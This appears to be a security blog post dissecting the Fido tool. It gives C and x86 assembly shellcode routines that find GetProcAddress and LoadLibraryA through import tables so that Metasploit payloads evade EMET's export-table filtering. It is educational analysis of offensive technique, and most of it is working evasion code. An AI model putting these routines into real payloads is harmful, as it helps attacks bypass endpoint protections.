Shellcode: Fido and how it resolves GetProcAddress and LoadLibraryA

Introduction

A tool to modify existing metasploit payloads for windows called Fido was recently published by Joshua Pitts, the author of Backdoor Factory.

Fido will strip this assembly code responsible for resolving API addresses in the export directory and replace it with 1 of 4 methods that obtain GetProcAddress and LoadLibraryA from the Import directory.

The upgrade enables existing payloads from Metasploit to bypass Enhanced Mitigation Experience Toolkit (EMET) which for those of you who don’t know defends against memory corruption vulnerabilities on legacy systems that do not support Control Flow Guard (CFG)

Due to the Export Address Table (EAT) Access Filtering (EAF) feature in EMET and overall popularity of Metasploit payloads for exploiting vulnerabilities, detection is not difficult hence the motivation behind writing Fido.

As Joshua points out in his presentation, EMET will reach end of life (EOL) on July 31st 2018, by which time Microsoft probably expects most applications to be protected by CFG which is a much more advanced protection against memory corruption vulnerabilities.

Perhaps it’s an optimistic projection developers will migrate to MSVC 2015 just to benefit from CFG but only time will tell.

Here, I’ve recreated in C and x86 assembly the ideas presented by Joshua, mainly to understand what Fido assembly code does and also to try optimize the examples to be more compact.

Some of the code shown here is derived from IAT code shown in Resolving API addresses in memory but won’t use hashes except for the last 2 when searching for external DLL.

So there are 4 options provided by the Fido tool:

Type Description
GPA GPA is in targetbinary IAT (default)
LLAGPA LoadlibraryA(LLA)/GPA is in the targetbinary IAT (smallest shellcode option)
Extern GPA need DLLName or targetbinary to use
Extern LLAGPA need DLLName or targetbinary to use

So let’s examine each approach with both C and assembly code.

GPA

If the executable image being exploited imports GetProcAddress already, we just need to access the address from kernel32.dll which should be in the Import Address Table (IAT).

A bit of trivia for you: Locating GetProcAddress in IAT was used in a Win32 computer virus called Cabanas by Jacky Qwerty/29A… published 20 years ago!

get_proc_address

gpa.c here

// locate kernel32.dll
  for (;imp->Name!=0;imp++) 
  {
    dll = RVA2VA(PDWORD, base, imp->Name);
    if ((dll[0] | 0x20202020) == 'nrek' && 
        (dll[1] | 0x20202020) == '23le')
    { 
      // now locate GetProcAddress
      rva   = imp->OriginalFirstThunk;
      oft   = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
      
      rva   = imp->FirstThunk;
      ft    = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
        
      for (gpa=NULL;; oft++, ft++) 
      {
        rva  = oft->u1.AddressOfData;
        ibn  = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
        name = (PDWORD)ibn->Name;
        
        // is this GetProcAddress?
        if (name[0] == 'PteG' && name[2] == 'erdd') {
          gpa = (LPVOID)ft->u1.Function;
          break;
        }
      }
    }
  }

The assembly code doesn’t have any bounds checking although it would be trivial enough to enable. We only check for ordinals and skip those to avoid crashing during the compare for GetProcAddress string.

The DLL name is converted to lowercase using 0x20202020 which may or may not be required. It assumes GetProcAddress is imported by the executable module and that it’s imported from kernel32.dll.

; returns pointer to GetProcAddress in ebp
    push   esi
    push   edi
    push   ebx
    
    push   30h
    pop    edx
    mov    ebx, [fs:edx]      ; ebx = peb
    mov    ebx, [ebx+08h]     ; ebx = ImageBaseAddress
    add    edx, [ebx+3ch]     ; edx += e_lfanew
    mov    esi, [ebx+edx+50h]
    add    esi, ebx
imp_l0:
    lodsd                   ; OriginalFirstThunk +00h
    xchg   eax, ebp         ; store in ebp
    lodsd                   ; TimeDateStamp      +04h
    lodsd                   ; ForwarderChain     +08h
    lodsd                   ; Name               +0Ch
    xchg   eax, edx
    lodsd                   ; FirstThunk         +10h 
    xchg   eax, edi         ; store in edi
    
    mov    eax, [edx+ebx]
    or     eax, 20202020h   ; convert to lowercase
    cmp    eax, 'kern'
    jnz    imp_l0           ; get next DLL if not equal
    
    mov    eax, [edx+ebx+4]
    or     eax, 20202020h   ; convert to lowercase
    cmp    eax, 'el32'
    jnz    imp_l0           ; get next DLL if not equal
    
    lea    esi, [ebp+ebx]   ; esi = OriginalFirstThunk
    add    edi, ebx         ; edi = FirstThunk
imp_l1:
    lodsd                   ; eax = oft->u1.Function, oft++;
    scasd                   ; ft++;
    test   eax, eax
    js     imp_l1           ; skip ordinals 
    
    cmp    dword[eax+ebx+2], 'GetP'
    jnz    imp_l1
    
    cmp    dword[eax+ebx+10], 'ddre'
    jnz    imp_l1
    
    mov    ebp, [edi-4]     ; ebp = ft->u1.Function
    
    pop    ebx
    pop    edi
    pop    esi
    ret

LLAGPA

The next bit of code resolves address of both LoadLibraryA and GetProcAddress from kernel32.dll assuming the image imports both.

llagpa.c here

LPVOID get_imp(PIMAGE_IMPORT_DESCRIPTOR imp, 
    LPVOID base, PDWORD api)
{
  PDWORD                   name;
  LPVOID                   api_adr;
  PIMAGE_THUNK_DATA        oft, ft;
  PIMAGE_IMPORT_BY_NAME    ibn;
  DWORD                    rva;
  
  rva   = imp->OriginalFirstThunk;
  oft   = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
  
  rva   = imp->FirstThunk;
  ft    = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
    
  for (;; oft++, ft++) 
  {
    // no API left?
    if (oft->u1.AddressOfData==0) break;
    // skip ordinals
    if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) continue;
    
    rva  = oft->u1.AddressOfData;
    ibn  = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
    name = (PDWORD)ibn->Name;
    
    // have we a match?
    if (name[0] == api[0] && name[1] == api[1]) {
      api_adr = (LPVOID)ft->u1.Function;
      break;
    }
  }
  return api_adr;  
}

Then the code which calls get_imp()

// locate kernel32.dll
  for (;imp->Name!=0;imp++) 
  {
    dll = RVA2VA(PDWORD, base, imp->Name);
    if ((dll[0] | 0x20202020) == 'nrek' && 
        (dll[1] | 0x20202020) == '23le')
    { 
      // now locate GetProcAddress and LoadLibraryA
      lla = get_imp(imp, base, (PDWORD)"LoadLibraryA");
      gpa = get_imp(imp, base, (PDWORD)"GetProcAddress");
      break;
    }
  }

As before with previous GPA code, there is no bounds checking. It assumes both the API are imported from kernel32.dll

; returns    
;   ebx = pointer to LoadLibraryA    
;   ebp = pointer to GetProcAddress

    push   esi
    push   edi
    
    push   30h
    pop    edx
    
    mov    ebx, [fs:edx]     ; ebx = peb
    mov    ebx, [ebx+08h]    ; ebx = ImageBaseAddress
    add    edx, [ebx+3ch]    ; edx += e_lfanew
    mov    esi, [ebx+edx+50h]
    add    esi, ebx
imp_l0:
    lodsd                    ; OriginalFirstThunk +00h
    xchg   eax, ebp          ; store in ebp
    lodsd                    ; TimeDateStamp      +04h
    lodsd                    ; ForwarderChain     +08h
    lodsd                    ; Name               +0Ch
    xchg   eax, edx          ; store in edx
    lodsd                    ; FirstThunk         +10h 
    xchg   eax, edi          ; store in edi
    
    mov    eax, [edx+ebx]
    or     eax, 20202020h    ; convert to lowercase
    cmp    eax, 'kern'
    jnz    imp_l0
    
    mov    eax, [edx+ebx+4]
    or     eax, 20202020h    ; convert to lowercase
    cmp    eax, 'el32'
    jnz    imp_l0
    
    ; locate GetProcAddress
    mov    ecx, 'GetP'
    mov    edx, 'ddre'
    call   get_imp
    push   eax               ; save pointer 
    
    ; locate LoadLibraryA
    mov    ecx, 'Load'
    mov    edx, 'aryA'
    call   get_imp
    pop    ebp               ; ebp = GetProcAddress
    xchg   eax, ebx          ; ebx = LoadLibraryA
    
    pop    edi
    pop    esi
    ret

get_imp:
    push   esi
    push   edi
    lea    esi, [ebp+ebx]     ; esi = OriginalFirstThunk + base
    add    edi, ebx           ; edi = FirstThunk + base
gi_l0:
    lodsd                     ; eax = oft->u1.Function, oft++;
    scasd                     ; ft++;
    test   eax, eax
    js     gi_l0              ; skip ordinals 
    
    cmp    dword[eax+ebx+2], ecx
    jnz    gi_l0

    cmp    dword[eax+ebx+10], edx
    jnz    gi_l0
    
    mov    eax, [edi-4]       ; eax = ft->u1.Function
gi_l1: 
    pop    edi
    pop    esi
    ret

Extern GPA

If the executable doesn’t import GetProcAddress, we obtain it from a DLL that does.
The main difference is that we locate the DLL by hash in the PEB and then search through its imports. Here, I’m using ADVAPI32.DLL as example although you would presumably check what DLL the executable imports API from.

extern_gpa.c here

// for each DLL loaded
  for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink;
       dte->DllBase != NULL && gpa == NULL; 
       dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink)
  {
    // hash the DLL
    dll = dte->BaseDllName.Buffer;

    for (hash=0, i=0; i<dte->BaseDllName.Length/2; i++) {
      hash = ROTR32(hash, 13); 
      hash += dll[i] | 0x20;  
    }
    
    // is this our target DLL?
    if (hash == DLL_HASH) 
    {      
      base = dte->DllBase;
      dos  = (PIMAGE_DOS_HEADER)base;
      nt   = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
      dir  = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
      rva  = dir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;  
      imp  = (PIMAGE_IMPORT_DESCRIPTOR) RVA2VA(ULONG_PTR, base, rva);
  
      // locate kernel32.dll
      for (;imp->Name!=0;imp++) 
      {
        name = RVA2VA(PDWORD, base, imp->Name);
        
        if ((name[0] | 0x20202020) == 'nrek' && 
            (name[1] | 0x20202020) == '23le')
        {
          // locate GetProcAddress
          rva = imp->OriginalFirstThunk;
          oft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
          
          rva = imp->FirstThunk;
          ft  = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
            
          for (;; oft++, ft++) 
          {
            rva = oft->u1.AddressOfData;
            if (rva==0) break;
            
            ibn = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
            name = (PDWORD)ibn->Name;
            
            // is this GetProcAddress?
            if (name[0] == 'PteG' && name[2] == 'erdd') {
              gpa = (LPVOID)ft->u1.Function;
              break;
            }
          }
        }
      }
    }
  }

The assembly code makes the following assumptions:

  1. ADVAPI32.DLL is loaded into process space and can be found in the PEB
  2. ADVAPI32.DLL imports GetProcAddress

If either of the conditions above aren’t true, this code will crash. I’m using the following macro for YASM/NASM to calculate the hash of a string and compare the result in edx.

; macro that converts string to lowercase 
%macro cmpms 1.nolist
  %assign %%h 0  
  %strlen %%len %1
  %assign %%i 1
  
  %rep %%len
    %substr %%c %1 %%i
    %assign %%h ((%%h >> 13) & 0FFFFFFFFh) | (%%h << (32-13))
    %assign %%c (%%c | 0x20)    
    %assign %%h ((%%h + %%c) & 0FFFFFFFFh)
    %assign %%i (%%i+1)
  %endrep
  ; cmp edx, hash
  db 081h, 0fah
  dd %%h
%endmacro
; returns pointer to GetProcAddress in ebp
    push   esi
    push   edi
    push   ebx
    
    push   30h
    pop    edx

    mov    esi, [fs:edx]  ; eax = (PPEB) __readfsdword(0x30);
    mov    esi, [esi+0ch] ; eax = (PMY_PEB_LDR_DATA)peb->Ldr
    mov    edi, [esi+0ch] ; edi = ldr->InLoadOrderModuleList.Flink
gapi_l0:    
    mov    edi, [edi]     ; edi = dte->InLoadOrderLinks.Flink    
    mov    ebx, [edi+18h] ; ebx = dte->DllBase
gapi_l1:
    push   edx 
    movzx  ecx, word[edi+44]  ; ecx = BaseDllName.Length
    mov    esi, [edi+48]      ; esi = BaseDllName.Buffer
    shr    ecx, 1
    xor    eax, eax
    cdq
gapi_l2:
    lodsw
    or     al, 0x20
    ror    edx, 13
    add    edx, eax
    loop   gapi_l2
    ; target DLL?
    cmpms  "advapi32.dll"
    pop    edx
    jne    gapi_l0    
   
    ; we have target DLL, now search for kernel32.dll
    ; in import directory
    ; edx += IMAGE_DOS_HEADER.e_lfanew
    add    edx, [ebx+3ch]  
    mov    esi, [ebx+edx+50h]
    add    esi, ebx
imp_l0:
    lodsd                   ; OriginalFirstThunk +00h
    xchg   eax, ebp         ; store in ebp
    lodsd                   ; TimeDateStamp      +04h
    lodsd                   ; ForwarderChain     +08h
    lodsd                   ; Name               +0Ch
    xchg   eax, edx         ; store in edx
    lodsd                   ; FirstThunk         +10h 
    xchg   eax, edi         ; store in edi
    
    mov    eax, [edx+ebx]
    or     eax, 20202020h   ; convert to lowercase
    cmp    eax, 'kern'
    jnz    imp_l0
    
    mov    eax, [edx+ebx+4]
    or     eax, 20202020h   ; convert to lowercase
    cmp    eax, 'el32'
    jnz    imp_l0
 
    ; we have it, locate GetProcAddress
    lea    esi, [ebp+ebx]
    add    edi, ebx
imp_l1:
    lodsd                   ; eax = oft->u1.Function, oft++;
    scasd                   ; ft++;
    test   eax, eax
    js     imp_l1           ; skip ordinals 
    
    cmp    dword[eax+ebx+ 2], 'GetP'
    jnz    imp_l1
    
    cmp    dword[eax+ebx+10], 'ddre'
    jnz    imp_l1
    
    mov    ebp, [edi-4]     ; ebp = ft->u1.Function
    
    pop    ebx
    pop    edi
    pop    esi
    ret

Extern LLAGPA

If the executable doesn’t import GetProcAddress and LoadLibraryA, we obtain it from a DLL that does.

extern_llagpa.c here

// for each DLL in PEB
  for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink;
       dte->DllBase != NULL && gpa == NULL; 
       dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink)
  {
    // hash the DLL name
    dll = dte->BaseDllName.Buffer;

    for (hash=0, i=0; i<dte->BaseDllName.Length/2; i++) {
      hash = ROTR32(hash, 13); 
      hash += dll[i] | 0x20;  
    }
    // is this the target DLL?
    if (hash == DLL_HASH)
    {
      base = dte->DllBase;
      dos  = (PIMAGE_DOS_HEADER)base;
      nt   = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
      dir  = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
      rva  = dir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;  
      imp  = (PIMAGE_IMPORT_DESCRIPTOR) RVA2VA(ULONG_PTR, base, rva);
    
      // locate kernel32.dll descriptor
      for (;imp->Name!=0;imp++) 
      {
        name = RVA2VA(PDWORD, base, imp->Name);
        
        if ((name[0] | 0x20202020) == 'nrek' && 
            (name[1] | 0x20202020) == '23le')
        {        
          // locate GetProcAddress and LoadLibraryA
          lla = get_imp(imp, base, (PDWORD)"LoadLibraryA");
          gpa = get_imp(imp, base, (PDWORD)"GetProcAddress");
          break;
        }
      }
    }
  }

The assembly code makes the following assumptions:

  1. ADVAPI32.DLL is loaded into process space and can be found in the PEB
  2. ADVAPI32.DLL imports GetProcAddress
  3. ADVAPI32.DLL imports LoadLibraryA
; returns    
;   ebx = pointer to LoadLibraryA    
;   ebp = pointer to GetProcAddress
    push   esi
    push   edi
    
    push   30h
    pop    edx

    mov    esi, [fs:edx]  ; eax = (PPEB) __readfsdword(0x30);
    mov    esi, [esi+0ch] ; eax = (PMY_PEB_LDR_DATA)peb->Ldr
    mov    edi, [esi+0ch] ; edi = ldr->InLoadOrderModuleList.Flink
gapi_l0:
    mov    edi, [edi]     ; edi = dte->InLoadOrderLinks.Flink  
    mov    ebx, [edi+18h] ; ebx = dte->DllBase
gapi_l1:
    push   edx 
    movzx  ecx, word[edi+44]  ; ecx = BaseDllName.Length
    mov    esi, [edi+48]      ; esi = BaseDllName.Buffer
    shr    ecx, 1
    xor    eax, eax
    cdq
gapi_l2:
    lodsw
    or     al, 0x20
    ror    edx, 13
    add    edx, eax
    loop   gapi_l2
    ; target DLL?
    cmpms  "advapi32.dll"
    pop    edx
    jne    gapi_l0    
   
    ; we have target DLL, now search for kernel32.dll
    ; in import directory
    ; edx += IMAGE_DOS_HEADER.e_lfanew
    add    edx, [ebx+3ch]  
    mov    esi, [ebx+edx+50h]
    add    esi, ebx
imp_l0:
    lodsd                   ; OriginalFirstThunk +00h
    xchg   eax, ebp         ; store in ebp
    lodsd                   ; TimeDateStamp      +04h
    lodsd                   ; ForwarderChain     +08h
    lodsd                   ; Name               +0Ch
    xchg   eax, edx         ; store in edx
    lodsd                   ; FirstThunk         +10h 
    xchg   eax, edi         ; store in edi
    
    mov    eax, [edx+ebx]
    or     eax, 20202020h   ; convert to lowercase
    cmp    eax, 'kern'
    jnz    imp_l0
    
    mov    eax, [edx+ebx+4]
    or     eax, 20202020h   ; convert to lowercase
    cmp    eax, 'el32'
    jnz    imp_l0
 
    ; locate GetProcAddress
    mov    ecx, 'GetP'
    mov    edx, 'ddre'
    call   get_imp
    push   eax               ; save pointer 
    
    ; locate LoadLibraryA
    mov    ecx, 'Load'
    mov    edx, 'aryA'
    call   get_imp
    pop    ebp               ; ebp = GetProcAddress
    xchg   eax, ebx          ; ebx = LoadLibraryA
    
    pop    edi
    pop    esi
    ret

    ; -------------
get_imp:
    push   esi
    push   edi
    lea    esi, [ebp+ebx]     ; esi = OriginalFirstThunk + base
    add    edi, ebx           ; edi = FirstThunk + base
gi_l0:
    lodsd                     ; eax = oft->u1.Function, oft++;
    scasd                     ; ft++;
    test   eax, eax
    jz     gi_l1              ; get next module if zero
    js     gi_l0              ; skip ordinals 
    
    cmp    dword[eax+ebx+2], ecx
    jnz    gi_l0

    cmp    dword[eax+ebx+10], edx
    jnz    gi_l0
    
    mov    eax, [edi-4]       ; eax = ft->u1.Function
gi_l1:
    pop    edi
    pop    esi
    ret

Summary

The current size of codes although they may shrink/expand in the future.

Type x86 Size
GPA 99
LLAGPA 127
Extern GPA 140
Extern LLAGPA 170
Advertisements
This entry was posted in assembly, programming, security, shellcode, windows and tagged , , , , , , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s